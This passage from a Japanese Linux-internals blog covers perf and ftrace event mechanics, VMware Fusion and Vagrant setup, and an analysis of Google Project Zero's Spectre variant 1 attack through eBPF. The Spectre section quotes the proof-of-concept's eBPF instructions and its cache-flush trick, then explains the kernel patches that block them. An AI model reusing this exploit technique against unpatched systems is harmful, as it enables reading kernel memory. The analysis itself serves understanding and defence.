IA32_PMCxのレジスタの数は限られています．CPUによりますが，2個とか4個とか6個とかです．そこでperfではレジスタ数以上のイベントを記録する場合，ラウンドロビンによって適当な時間間隔でレジスタを共有します．従って，最終的に得られる値はあくまで推定値となります．正確な値が必要な場合には取得するイベントを絞る必要があります．このあたりはperf wikiに書いてあります．

perfomance counterにはオーバーフローすると割り込みを発生させる機能があります． sampling counterはこれを利用します．特に，クロック数などのイベントを基準として，適当な間隔で割り込みを発生させ，割り込み発生時のripの記録を取ることでプロファイリングができます．

PERF_EVENT_HARDWARE, PERF_EVENT_HW_CACHE以外のCPU固有のイベントにアクセスするにはPERF_TYPE_RAWを利用して直接イベントの番号を指定します．ちなみに，Linux 4.10付近からプロセッサ毎の固有のPMU eventを名前で参照できるようになっています． perf listしたときにKernel PMU Eventと書かれているものがこれです．この情報はtools/perf/pmu-event/arch/以下のjsonファイルで定義されているようです．

PERF_TYPE_SOFTWARE

perf listしたときにsoftware eventと表示されるやつです．context switchなどがあります．

% sudo perf list | grep -i software
  alignment-faults                                   [Software event]
  bpf-output                                         [Software event]
  context-switches OR cs                             [Software event]
  cpu-clock                                          [Software event]
  cpu-migrations OR migrations                       [Software event]
  dummy                                              [Software event]
  emulation-faults                                   [Software event]
  major-faults                                       [Software event]
  minor-faults                                       [Software event]
  page-faults OR faults                              [Software event]
  task-clock                                         [Software event]

これはどうなっているのかというと，それぞれのイベント箇所で明示的にperf_sw_event()を呼んでいます．

例: arch/x86/mm/fault.c

perf_sw_event() => __perf_sw_event() => ___perf_sw_event => do_pwerf_sw_event => perf_swevent_event

PERF_TYPE_TRACEPOINT

ftraceでも使われていたtracepoint, kprobe, uprobeなどのイベントがPERF_TYPE_TRACEPOINTです． kprobeやuprobeはftraceによって登録されたコールバック関数(kprobe_dispatcher, uprobe_dispatcher)の中からperf_trace_buf_submit()が呼ばれています． tracepointの場合はdefine_trace.hの中で，perf.hが呼ばれ，この中でperf_event用のtracepointのコールバック関数が定義されています．このコールバック関数の登録はftraceのコールバック関数のところでおこなっています．

https://github.com/torvalds/linux/blob/v4.15/kernel/trace/trace_events.c#L305

int trace_event_reg(struct trace_event_call *call,
            enum trace_reg type, void *data)
{
    struct trace_event_file *file = data;

    WARN_ON(!(call->flags & TRACE_EVENT_FL_TRACEPOINT));
    switch (type) {
    case TRACE_REG_REGISTER:
        return tracepoint_probe_register(call->tp,
                         call->class->probe,
                         file);
    case TRACE_REG_UNREGISTER:
        tracepoint_probe_unregister(call->tp,
                        call->class->probe,
                        file);
        return 0;

#ifdef CONFIG_PERF_EVENTS
    case TRACE_REG_PERF_REGISTER:
        return tracepoint_probe_register(call->tp,
                         call->class->perf_probe,
                         call);
        ...

もう少し具体的には，以下のようになっています．

kprobe
- kprobe_dispatcher => kprobe_perf_func => perf_trace_buf_submit
uprobe
- uprobe_dispatcher => uprobe_perf_func => ... => perf_trace_buf_submit
tracepoint
- DECLARE_EVENT_CLASS => perf_trace_run_bpf_submit => perf_tp_event
- 後述するeBPFプログラムの呼び出しと共通化されている．
syscall
- perf_syscall_enter => perf_trace_buf_submit
- perf_syscall_exit => perf_trace_buf_submit

perf_trace_buf_submit() => perf_tp_event => perf_swevent_event

となり処理が継続されます．

PERF_TYPE_BREAKPOINT

これはハードウェアブレークポイントに対応したイベントです．

普通はkprobeやuprobeを使えばいいので使用例がほとんどど見つかりませんが，以下のように利用できます．

% sudo cat /proc/kallsyms| grep sys_brk
ffffffffbb400930 T sys_brk
% sudo perf stat -e mem:0xffffffffbb400930:x ls
bin  perf.data work

 Performance counter stats for 'ls':

                 3      mem:0xffffffffbb400930:x

       0.001000937 seconds time elapsed

具体的なフォーマットはman page参照．

ブレークポイントの設定部分は，ptraceなどからも利用されるようです．

USDT (SDT Event)

perf_eventとは直接は関係ないですが，USDTあるいはSDTと呼ばれるユーザスペースのプログラムでtracepointのようなトレースを実現する方法があります．これはもともとはDtraceで存在していた機能のようで，SystemTapがサポートしています．また，perfも最近対応しています(https://lwn.net/Articles/618956/)．

プログラムのソースコードの適当な箇所にUSDTのprobeを埋め込むと，それ自体はnopとしてコンパイルされます． USDTの情報がELFの.note.stapsdtセクションに格納されるので，後からその情報を利用してuprobeでフックすれば目的の箇所でのフックができます． perf buildid-cacheコマンドで，.note.stapsdtの情報に基づいてイベントが追加できます．

SDTのイベントはperf listでSDT eventとして見えます．

% sudo perf list | grep SDT
  sdt_libc:lll_lock_wait_private                     [SDT event]
  sdt_libc:longjmp                                   [SDT event]
  sdt_libc:longjmp_target                            [SDT event]
  sdt_libc:memory_arena_new                          [SDT event]
  sdt_libc:memory_arena_retry                        [SDT event]
  sdt_libc:memory_arena_reuse                        [SDT event]
  sdt_libc:memory_arena_reuse_free_list              [SDT event]
  sdt_libc:memory_arena_reuse_wait                   [SDT event]
...

perf-tools

perfとftraceを利用したパフォーマンス解析ツールとして，perf-toolsがあります． perfやftrace (tracefs)のラッパーとして動作します．(perf-toolsという名称ですが，ftraceも使っています)．

ただし，今ではbccのツールでperf-toolsでできたことは全てできるんじゃないかと思います．

perf ftrace

若干ややこしいですが，perfコマンドにもftraceのラッパーが含まれており，perf ftraceコマンドで利用できます． perf ftrace recordとして簡単にfunction traceの結果が記録できます．

man page of perf-ftrace

straceとの比較

システムコール呼び出しのトレースをおこなうstraceやライブラリ関数呼び出しのトレースをおこなうltraceといったコマンドがありますが，これらはいずれもptraceを使用しています． straceの場合，システムコール発行/終了時にSIGTRAPを送信します． ltraceの場合はライブラリ関数呼び出しのPLT部分をブレークポイントでフックし，SIGTRAPを送信します．

perfを使ってシステムコールをトレースすることは可能ですが，straceと比べてperfはシグナルを介さずに記録を取ることができるため，高速に動作します．以下に簡単な例を示します．

strace

% time strace -eaccept dd if=/dev/zero of=/dev/null bs=1 count=500k
512000+0 records in
512000+0 records out
512000 bytes (512 kB, 500 KiB) copied, 18.8414 s, 27.2 kB/s
+++ exited with 0 +++
strace -eaccept dd if=/dev/zero of=/dev/null bs=1 count=500k  2.67s user 20.21s system 121% cpu 18.847 total

perf

% time perf record -e 'syscalls:sys_enter_accept' dd if=/dev/zero of=/dev/null bs=1 count=500k
512000+0 records in
512000+0 records out
512000 bytes (512 kB, 500 KiB) copied, 0.490177 s, 1.0 MB/s
[ perf record: Woken up 1 times to write data ]
[ perf record: Captured and wrote 0.013 MB perf.data ]
perf record -e 'syscalls:sys_enter_accept' dd if=/dev/zero of=/dev/null   0.20s user 0.40s system 93% cpu 0.635 total

その他

/proc/sys/kernel/perf_event_paranoidの値でperfの実行にCAP_SYS_ADMINが必要かどうか設定できます．

2   allow only user-space measurements (default since Linux 4.6).
1   allow both kernel and user measurements (default before Linux 4.6).
0   allow access to CPU-specific data but not raw tracepoint samples.
-1  no restrictions.

perfとeBPF

Linux Kernel 4.1以降，perfのeventに対してeBPFのプログラムがアタッチできるようになっています．具体的には，以下のカーネルのバージョンで機能が追加されています．

4.1: kprobe (commit)
- BPF_PROG_TYPE_KPROBE
- kprobe_perf_func => trace_call_bpf
4.3: uprobe (commit)
- BPF_PROG_TYPE_KPROBE
  - prog typeはkprobeのものを利用
- uprobe_perf_func => trace_call_bpf
4.7: tracepoint (commit)
- BPF_PROG_TYPE_TRACEPOINT
- DECLARE_EVENT_CLASS => perf_trace_run_bpf_submit => trace_call_bpf
- sysenter, sysexitは他のtracepointと扱いが異なるため，特別な処理が必要 (c.f. bpf: add support for sys_enter_* and sys_exit_* tracepoints
4.9: perf software / hardware event (commit)
- BPF_PROG_TYPE_PERF_EVENT
- __perf_event_overflow => READ_ONCE(event->overflow_handler)(event, data, regs); => bpf_overflow_handler
- sampling counterがオーバーフローした際にbpfプログラムが呼ばれる

BPFプログラムはperf_event_open()で得られたfdに対してioctl(fd, PERF_EVENT_IOC_SET_BPF, prog_fd);を実行してアタッチします． kprobe, uprobeやtracepointはperf側へイベントを渡す際にtrace_call_bpf()を呼ぶようになっています．カウンタオーバフロー時にbpfプログラムが呼ばれる訳ではないです．（そういう意味ではperfのeventにアタッチしているというよりかは，kprobe等に直接アタッチしているといった方が適切かもしれないです）．ブレークポイントイベントに対してはBPFプログラムはアタッチできないようです．

BPFプログラムからは，bpf_trace_printk()を利用してftraceのring bufferへの出力，bpf_perf_event_output()でperfのring bufferへの出力ができます．

sample/bpf/trace_output_kern.c, sample/bpf/trace_output_user.cにBPF側からperfのring bufferに出力するサンプルがあります．概略は以下の通りです．

BPF_MAP_TYPE_PERF_EVENT_ARRAYのbpf arrayを作成 (trace_output_kern.c#6)
ユーザランド側でperf_event_attr.type = PERF_TYPE_SOFTWARE, .config = PERF_COUNT_SW_BPF_OUTPUTとしてperf_event_open (trace_output_user.c#L162)
bpf_map_update_elem()でBPF arrayとperf のfdとの対応付 (trace_output_user.c#L165)
- bpf_map_update_elem() => bpf_fd_array_map_update_elem()
- map_fd_get_ptr()はperf_event_fd_array_get_ptr (perf_event_array_map_opsで定義)
- bpf_event_entry_genでbpf_map_update_elemU()の引数で渡したperf eventのfdに対応するperf_fileを格納
- array->ptrs[index]にその情報が保存される
perf のfdに対してmmap (trace_output_user.c#L41)
BPFプログラム側ではbpf_perf_event_outputを使って出力 (trace_output_kern.c#24)
- bpf_map_update_elem()で格納した情報を読み出し, perf_event_output()を呼ぶ

また，sample/bpf/tracex6_kern.c, sample/bpf/tracex6_user.cにBPF側からperfのカウンタにアクセスする例があります．

実際にこれらの機能を利用する場合はbccを利用するのがいいかと思います．

perfコマンドからも，イベントをBPFのプログラムでフィルタリングできるようになっています (参考)

ftraceとeBPF

Linux 4.15の時点ではftarceのイベントに対してeBPFプログラムはアタッチできません．昨年末にBPF_PROG_TYPE_FTRACEの提案がありましたが(パッチ)，これはBPFをトレースのオンオフの切り替えだけに使うという限定されてたものだったという点や，そもそもパッチ自体にいろいろ問題があったということで採用にはいたってません．今後追加される可能性は十分あるんじゃないかと思います．

その他トレーシングツール

perfやftraceはカーネルと共に開発されていますが，その他独自に開発されているトレーシングツールがいくつかあります．（主にカーネルモジュールの形で利用します）．

特に有名なのがSystemTapで，kprobeやuprobe, tracepointなどに対応し，SystemTap Scriptという形で実質的にC言語でフックした箇所に処理が追加できるのでかなり自由度が高いと思います．もちろんその分安全性には気をつける必要はあります．また，最近bpfのバックエンドも追加されたようです．他にも代表的なツールにLTTngがあります． SystemTapもLTTngも2000年代からずっと開発されているのでいろいろとツールが揃っていると思います． SystemTapのwikiにsystemtap, dtrace, LTTng, perfの比較があります．あんまりSystemTapを使ったことがないのではっきりとは分かりませんが，多分最近になってようやくftrace, perf, eBPFでSystemTapでできたことの多く(+α)ができるようになってる感じなんじゃないかと思います．

また，特に組み込み向けの軽量なトレーシングツールとしてLuaを使ったdynamic tracingができるktapというのがあります(Huaweiが開発)．ただ，これはLinux本体にマージされそうになるも丁度eBPFのマージとぶつかったりして結局マージされず，今では更新は止まっているみたいです．

最近も開発されているトレーシングツールとしてはsysdigというのもあります．これは公式曰く "sysdig as strace + tcpdump + htop + iftop + lsof + wireshark" で，カーネルトレースの用途などには使えませんが，コンテナサポートを全面に押し出しているものなのでそういう用途には便利かもしれないです．

まとめ

perfやftrace周りの処理の概要について簡単に書きました．

結局のところどれを使えばいいんだという話ですが，まぁ自分が好きなのを使えばいいんじゃないでしょうか（ぉ．とりあえず，performance counterの値を知りたいのならperf，カーネルコードのちゃんとしたトレースを取るならftraceですし，あとは今ならbccのツールで手軽に目的のことができるんことが多いんじゃないかなと思います．場合によってはSystemTapやLTTngも見てみるといいと思います．

2018-02-07

VMWare Fusionメモ

vmware mac

以下はVMWare Fusion 10.1.1 (macOS High Sierra 10.13.3)で動作確認したものです．

設定ファイル（xxx.vmx）はVM停止中に変更する必要があります（そうでないと書き換わることがある）．

コマンドラインツール

/Applications/VMware\ Fusion.app/Contents/Library/ 以下にいくつかコマンドラインツールがインストールされている．

起動:vmrun -T fusion start /path/to/vm.vmx
停止:vmrun -T fusion stop /path/to/vm.vmx
再起動:vmrun -T fusion reset /path/to/vm.vmx
ディスクのデフラグ: vmware-vdiskmanager -d disk.vmdk
ディスクのコンパクション: vmware-vdiskmanager -k disk.vmdk

シリアルポート

設定ファイルに以下を記述

serial0.filename = "/tmp/serial0"
serial0.filetype = "pipe"
serial0.present = "TRUE"

こうするとゲストVMのCOM1の出力がホストのdomain socket/tmp/serial0へ送られるようになる．

socatを利用して標準出力へ出力できる．

socat -d -d unix-connect:/tmp/serial0 stdio

serial0をserial1に変えればCOM2になる（はず）．

Nested Virtualization

設定ファイルに以下を記述

vhv.enable = "TRUE"

あるいは，GUIの方から設定>プロセッサとメモリ>詳細オプションから設定

gdb remote debugging

設定ファイルに以下を記述

debugstub.listen.guest64 = "TRUE"
debugstub.port.guest64 = "33333"

こうするとポート33333でgdb serverがlistenするようになる．

VM上でLinuxを実行している場合，以下のようにしてlldbからgdb serverへ接続可能 (vmlinuxは起動しているカーネルイメージ）

% lldb ./vmlinux
(lldb) target create "./vmlinux"
Current executable set to './vmlinux' (x86_64).
(lldb) gdb-remote 33333
Process 1 stopped
* thread #1, stop reason = signal SIGTRAP
    frame #0: 0xffffffff818dee06 vmlinux`native_safe_halt at irqflags.h:55
Target 0: (vmlinux) stopped.
(lldb) b sys_close
Breakpoint 2: where = vmlinux`SyS_close + 6 [inlined] SYSC_close at open.c:1153, address = 0xffffffff81265ee6
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #1, stop reason = breakpoint 2.1
    frame #0: 0xffffffff81265ee6 vmlinux`SyS_close at open.c:1155
Target 0: (vmlinux) stopped.
(lldb) disassemble
vmlinux`SyS_close:
    0xffffffff81265ee0 <+0>:  nopl   (%rax,%rax)
    0xffffffff81265ee5 <+5>:  pushq  %rbp
->  0xffffffff81265ee6 <+6>:  movl   %edi, %esi
    0xffffffff81265ee8 <+8>:  movq   %gs:0x15bc0, %rax
    0xffffffff81265ef1 <+17>: movq   0xac8(%rax), %rax
    0xffffffff81265ef8 <+24>: movq   %rsp, %rbp
    0xffffffff81265efb <+27>: movq   %rax, %rdi
    0xffffffff81265efe <+30>: callq  0xffffffff8128c7f0        ; __close_fd at file.c:621
    0xffffffff81265f03 <+35>: movslq %eax, %rdx
    0xffffffff81265f06 <+38>: movq   $-0x4, %rax
    0xffffffff81265f0d <+45>: leal   0x201(%rdx), %ecx
    0xffffffff81265f13 <+51>: cmpl   $0x1, %ecx
    0xffffffff81265f16 <+54>: jbe    0xffffffff81265f27        ; <+71> at open.c:1153
    0xffffffff81265f18 <+56>: movl   %edx, %ecx
    0xffffffff81265f1a <+58>: andl   $-0x3, %ecx
    0xffffffff81265f1d <+61>: cmpl   $0xfffffdfc, %ecx         ; imm = 0xFFFFFDFC
    0xffffffff81265f23 <+67>: cmovneq %rdx, %rax
    0xffffffff81265f27 <+71>: popq   %rbp
    0xffffffff81265f28 <+72>: retq

ちなみにLinux カーネルをデバッグする際はKASLRはオフにしておいた方がいろいろ楽だと思います (ブートプションにnokaslrをつける）

Vagrant

VagrantでVMWare Fusionを利用するには，Vagrant VMWare pluginを購入する必要がある．

Vagrant用Boxの作成

VMWare Fusion用のBoxはあまり作成されていないので，自分で作った方が良いと思います．

作り方: https://www.vagrantup.com/docs/boxes/base.html

基本は適当にVMをセットアップしたのち，VMの保存されているディレクトリへ移動し，

$ vmware-vdiskmanager -d disk.vmdk
$ vmware-vdiskmanager -k disk.vmdk
$ tar zcvf <box_name>.box *.{nvram,vmsd,vmx,vmxf,vmdk} metadata.json
$ vagrant box add <box_name> <box_name>.box --provider vmware_fusion

metadata.jsonの中身は以下の通り

{
  "provider": "vmware_fusion"
}

VMをセットアップする際の注意点

vagrantユーザをpassword vagrantで作成する
- ubuntuなら，adduser vagrant
vagrantユーザにパスワード無しでsudoできるように設定
- visudoでvagrant ALL=(ALL) NOPASSWD: ALL
- これをしないと，例えば vagrant haltしたときにshutdown -h nowの実行に失敗する
openssh-serverをインストール
vagrant sshで接続するユーザのauthorized_keysにvagrantの公開鍵を追加
- https://github.com/hashicorp/vagrant/blob/master/keys/vagrant.pub
- 初回接続時にvagrantが鍵を自動生成したものに更新する

Vagrantfile

簡単な例

Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu"
  config.ssh.guest_port = 22
  if ARGV[0] == "ssh"
    config.ssh.username = "m"
  else
    config.ssh.password = "vagrant"
  end

  config.vm.provider "vmware_fusion" do |v|
    v.vmx["memsize"] = 4096
    v.vmx["numvcpus"] = 2
    v.gui = false
  end
end

vagrant sshしたときはvagrant以外のユーザに接続したいので，ARGV[0]の値に応じて，vagrant sshならuser mで接続，そうでない場合はuser vagrantで接続するように設定している． (user vagrantで接続する際はパスワード認証）

VMWare設定ファイル

VMWareの設定ファイルは .vagrant/machines/default/vmware_fusion/xxxxxxx/以下に存在

VMWare Fusionライブラリでの表示

VagrantでheadlessでVMを起動している場合，VMWare Fusionのライブラリの方にVMの情報が出てこない (https://github.com/hashicorp/vagrant/issues/8466) 少し試行錯誤したところ，どうやら一旦v.gui=trueで起動すればライブラリの方へ追加されるようである．

その他

ディスクサイズの変更は面倒なようなので，あらかじめ余裕を持ってディスクを作成しておくのが吉
起動中のVMからboxを作成するvagrant packgeコマンドはVMWareでは使えない

2018-02-02

SpectreとeBPF

bpf linux sec

新年早々巷にいろいろと賑わいをもたらしたSpectreとMeltdownですが，Google Project Zero (GPZ)が公表したSpectreの攻撃コード例の中でeBPFが使用されていました．安全を謳っているものの昨年もいくつか脆弱性が発見されていたので，「またeBPFか」と思った方もいるかもしれません．といっても今回の件をeBPFの脆弱性と言ってしまうのは可哀想というか，ちょっと違うかなとは思いますが．

若干今さら感ありますがここでは簡単にeBPFがどう攻撃に使われたか簡単に書こうと思います．ちなみに後述するようにすでに対応策のパッチが存在しますので，現在eBPFでSpectreを利用して攻撃するのは現実的にはかなり難しいのではないかと思います．

Variant1

SpectreのVariant1 (CVE-2017-5753)の基本となる問題は，以下のようなコードがあったとき，

if(index < max_index){
    // 何か処理
}

index >= max_indexであっても投機的実行によりif文の中が実行されてしまうことがあるというものです．もしindex >= max_indexであれば投機的実行された結果は破棄されるので問題ない，と信じられてきましたが，例えば以下のようなコードを考えます．

if(index < max_index){
    value = array[index];
    _ = array2[(value & 1) * 0x100];
}

array2のデータはキャッシュされていないとします．投機実行でif文の中が実行されたとき， array[index]の下位1bitの値に応じて，array2[0]あるいはarray2[0x100]のいずれかにアクセスされ，結果としてアクセスされた領域がキャッシュに乗ります．従ってこの後array2[0]とarray2[0x100]のアクセス速度を比較することでarray[index]の下位1bitの値が分かります．

これを応用してあるプロセスのメモリ空間のデータを読み取るのがvariant 1ですが，そもそもこの攻撃を実施するには，

攻撃対象のプロセスの中に上例のようなコードパターンが存在する
indexは攻撃者がコントロールできる
適当なarray2に攻撃者がアクセスできる
データがキャッシュに乗っているかどうか判断できるだけの精度を持つタイマが利用できる

というようなことが条件になってきます．そんなプログラム果たしてあるのかという話ですが．可能性としては外部のコードを実行するインタプリタやjitエンジンが一番あるのかなと思います．実際GPZではeBPFを利用したカーネル内データの読み出し，論文の方ではV8のデータの読み出しのPoCを示しています．

eBPFを利用した攻撃例

GPZの攻撃例コードはこちらで公開されています．

variant 1の攻撃ではeBPF mapにアクセスする際の境界チェックのコードを利用します．特に攻撃例で利用されているのはbpf_arrayの読み出し（array_map_lookup_elem()）及びbpf_tail_call()です．いずれもstruct bpf_arrayのデータにアクセスする際に，array->map.max_entriesの確認をおこなっています．

array_map_lookup_elem()（variant 1対策前のLinux 4.14のコードです） https://github.com/torvalds/linux/blob/v4.14/kernel/bpf/arraymap.c#L112

static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
    struct bpf_array *array = container_of(map, struct bpf_array, map);
    u32 index = *(u32 *)key;

    if (unlikely(index >= array->map.max_entries))
        return NULL;

    return array->value + array->elem_size * index;
}

bpf_tail_call() https://github.com/torvalds/linux/blob/v4.13/kernel/bpf/core.c#L1009 (Linux 4.13のコード)

    JMP_TAIL_CALL: {
        struct bpf_map *map = (struct bpf_map *) (unsigned long) BPF_R2;
        struct bpf_array *array = container_of(map, struct bpf_array, map);
        struct bpf_prog *prog;
        u64 index = BPF_R3;

        if (unlikely(index >= array->map.max_entries))
            goto out;
        if (unlikely(tail_call_cnt > MAX_TAIL_CALL_CNT))
            goto out;

        tail_call_cnt++;

        prog = READ_ONCE(array->ptrs[index]);
        if (!prog)
            goto out;

攻撃の流れは以下のようになります．

bpf_map_read()を利用してカーネル内のデータを（投機実行で）読み出し
bpf_tail_call()を利用して読み出したデータの値に基づいて（投機実行で）ユーザスペースの領域にアクセス
ユーザスペース領域のキャッシュヒットを調べてデータを読みだす

攻撃のために2回投機実行を利用しています．なぜ，ユーザスペースの領域にアクセスする際にbpf_map_read()を利用していないかというと，これはおそらくbpf_map_read()のindexが32bitである一方で， bpf_tail_call()のindexが64bitだったから（現在は修正済み）だと思います．実際のeBPFコードは以下のようになっています．

  struct bpf_insn insns[] = {
    // save context for tail call
    BPF_MOV64_REG(BPF_REG_6, BPF_REG_ARG1),

    // r7 = bitmask
    BPF_LD_MAP_FD(BPF_REG_ARG1, ret.data_map),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
    BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 2),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    BPF_GOTO_EXIT_IF_R0_NULL,
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),

    // r9 = bitshift selector
    BPF_LD_MAP_FD(BPF_REG_ARG1, ret.data_map),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
    BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 3),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    BPF_GOTO_EXIT_IF_R0_NULL,
    BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0),

    // r8 = prog_array_base_offset = *map_lookup_elem(data_map, &1)
    BPF_LD_MAP_FD(BPF_REG_ARG1, ret.data_map),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
    BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 1),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    BPF_GOTO_EXIT_IF_R0_NULL,
    BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),

    // r0 = secret_data_offset = *map_lookup_elem(data_map, &0)
    BPF_LD_MAP_FD(BPF_REG_ARG1, ret.data_map),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
    BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    BPF_GOTO_EXIT_IF_R0_NULL,
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_0, 0),

    // r2 = &secret_data_offset
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
    BPF_STX_MEM(BPF_W, BPF_REG_ARG2, BPF_REG_0, 0),


    BPF_LD_MAP_FD(BPF_REG_ARG1, ret.victim_map),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), /* speculative execution starts in here */
    BPF_GOTO_EXIT_IF_R0_NULL, /* predicted: non-NULL, actual: NULL */
    BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_0, 0),

    /*
     * mask and shift secret value so that it maps to one of two cachelines.
     */
    BPF_ALU64_REG(BPF_AND, BPF_REG_ARG3, BPF_REG_7),
    BPF_ALU64_REG(BPF_RSH, BPF_REG_ARG3, BPF_REG_9),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_ARG3, 7),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_ARG3, BPF_REG_8),

    BPF_LD_MAP_FD(BPF_REG_ARG2, ret.prog_map),
    BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_6),

    BPF_EMIT_CALL(BPF_FUNC_tail_call),

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };

配列のオフセットを指定するためのindexは事前に作成したdata_mapという別のeBPF mapを利用して指定しています． victim_mapという名のarrayを使ってカーネル内データ読み出し，prog_mapという名のarrayを使ってtail callを経由したユーザランド領域へのアクセスをおこなっています．

ちなみに，わざわざeBPFプログラムを利用しなくてもユーザ空間から直接投機実行でカーネル空間のデータを読み出せばいいのではないかと思った方．それがmeltdownです*1．

ユーザ空間へのオフセットの導出

さて，ここまでは比較的単純ですが，実際に攻撃する際にはprog_mapのindexとして，ユーザの特定領域にアクセスするための適当なindexを指定する必要があります．言い換えると，prog_mapからユーザ領域へのオフセットを求める必要があります． GPZの例ではこのオフセットの導出にもvariant 1を利用しています．

アイディアはシンプルで，prog_mapを使ってtail callを適当なindexで実行し，その後ユーザ領域がキャッシュされていればそこからオフセットが計算できます．といっても，prog_mapはkmallocで確保*2 されますが，kmallocの空間の探索 (kernel logical address = ffff880000000000 - ffffc7ffffffffff = 64TB) を愚直に探索するのは非効率です．そこでどうするのか...というのはGPZのブログに丁寧に書いてあるんですが，ざっくりまとめると

2³¹の空間をユーザスペースに確保
- 実際には 2⁴(=16個) のページからなる領域を2¹⁵個作成
- 各領域は同じ物理メモリをマッピング
  - mmap(MAP_NORESERVE)で2³¹の空間を確保したのち，2⁴ページサイズのファイルを作成，その領域にmmap()で各領域にそのファイルを割り当てる
tail callを利用してオフセットを探索．オフセットは2³¹単位で更新する．
キャッシュヒットを探すには最初の2⁴ページの領域を調べればok
- というのものL3は物理アドレスでキャッシュされるため *3
ヒットが見つかると...
- 48-63: canonical address (ビットの先頭は1と決まっている)
- 32-47: brute forceのhiger bit
- 16-31: 不明
- 12-15: 領域のどのページにヒットしたかから分かる
- 0-11: 0 (kmallocで4KB単位で取得したから((mapを作成する際のサイズを2049にしている)))
- 中間の15bitがﾜｶﾗﾅｲ
中間ビットの求め方
- 2つのページを用意．探索したいアドレスの半分の仮想アドレスを一つのページ，もう一つを別のページに割り当て
- これを使ってバイナリサーチ

というようなことをしています，

キャッシュのフラッシュ方法

攻撃を成功させるために重要なことは，境界外のindexに対して投機実行されるようにすることです．このために，攻撃前に境界内のindexを用いて何回か事前に関数を実行しておきます，また，もう一つ重要なこととしてif()分の中で利用される変数（今回の場合はarray->map.max_entries）がキャッシュされていないことが挙げられます． x86ではclflushを利用すればキャッシュフラッシュができますが，当然ながら攻撃者がclflushを使ってarray->map.max_entriesのキャッシュをフラッシュすることは不可能です．そこで，GPZの攻撃例ではfalse sharingを利用したキャッシュフラッシュをおこなっています．

もともとstruct bpf_mapは以下のようになっていました（現在では修正が入っています）．

https://github.com/torvalds/linux/blob/v4.14/include/linux/bpf.h#L44

struct bpf_map {
    atomic_t refcnt;
    enum bpf_map_type map_type;
    u32 key_size;
    u32 value_size;
    u32 max_entries;
    u32 map_flags;
    u32 pages;
    u32 id;
    int numa_node;
    struct user_struct *user;
    const struct bpf_map_ops *ops;
    struct work_struct work;
    atomic_t usercnt;
    struct bpf_map *inner_map_meta;
};

この構造ではmax_entriesとeBPF mapの参照カウントであるrefcntが同じキャッシュライン上に存在することになります（キャッシュラインは64byte）． refcntはmapを含むeBPFプログラムをロードする際（より正確にはverifierの内部）で更新されます．そこで，攻撃プログラムを実行するCPUコアとは別のコアでprog_mapやvictim_mapを利用するeBPFプログラムをロードすると，その結果refcntが更新され，攻撃プログラム側のmax_entriesのキャッシュはfalse sharingによって破棄されることになります．

実際には以下のようなプログラムをロードしてfalse sharingします ((sched_setaffinity()でスレッドを実行するコアを制御できます))．cacheline_bounce_fdsにprog_mapやvictim_mapのfdが入っています．

struct bpf_insn insns[] = {
  BPF_LD_MAP_FD(BPF_REG_0, cacheline_bounce_fds[0]),
  BPF_LD_MAP_FD(BPF_REG_0, cacheline_bounce_fds[1]),
  BPF_LD_MAP_FD(BPF_REG_0, 0xffffff)
};

このプログラムはverifiationが通らずロードに失敗すると思いますが，キャッシュフラッシュするにはこれで十分です．

対策方法

variant 1に対する（ソフトウェア的な）対策の一つは投機実行がおきないようなプログラムを（フェンス命令などを使って）作成することです．ただし，CPUの投機実行の挙動を正確に把握することは困難です．もう一つのアプローチとしては投機実行されても問題がおきないようにする方法があります．

eBPFでは，eBPF mapにアクセスする際にindexをマスクするような修正が入りました（bpf: prevent out-of-bounds speculation）．例えば，array_map_lookup_elem()は以下のようにindexではなくindex & array->index_mskを使うように変更されています．これにより誤って投機実行されても外部領域にアクセスすることを防いでいます．

https://github.com/torvalds/linux/blob/v4.15/kernel/bpf/arraymap.c#L140

static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
    struct bpf_array *array = container_of(map, struct bpf_array, map);
    u32 index = *(u32 *)key;

    if (unlikely(index >= array->map.max_entries))
        return NULL;

    return array->value + array->elem_size * (index & array->index_mask);
}

また，eBPFにはrefcntとmax_entriesがfalse sharingされないようにする変更も入りました（bpf: avoid false sharing of map refcount with max_entries）．これにより，struct bpf_mapは以下のように変更されています．____cacheline_alignedを利用してmax_entriesとrefcntが別々のキャッシュラインに乗るようにしています．

https://github.com/torvalds/linux/blob/v4.15/include/linux/bpf.h#L45

struct bpf_map {
    /* 1st cacheline with read-mostly members of which some
     * are also accessed in fast-path (e.g. ops, max_entries).
     */
    const struct bpf_map_ops *ops ____cacheline_aligned;
    struct bpf_map *inner_map_meta;
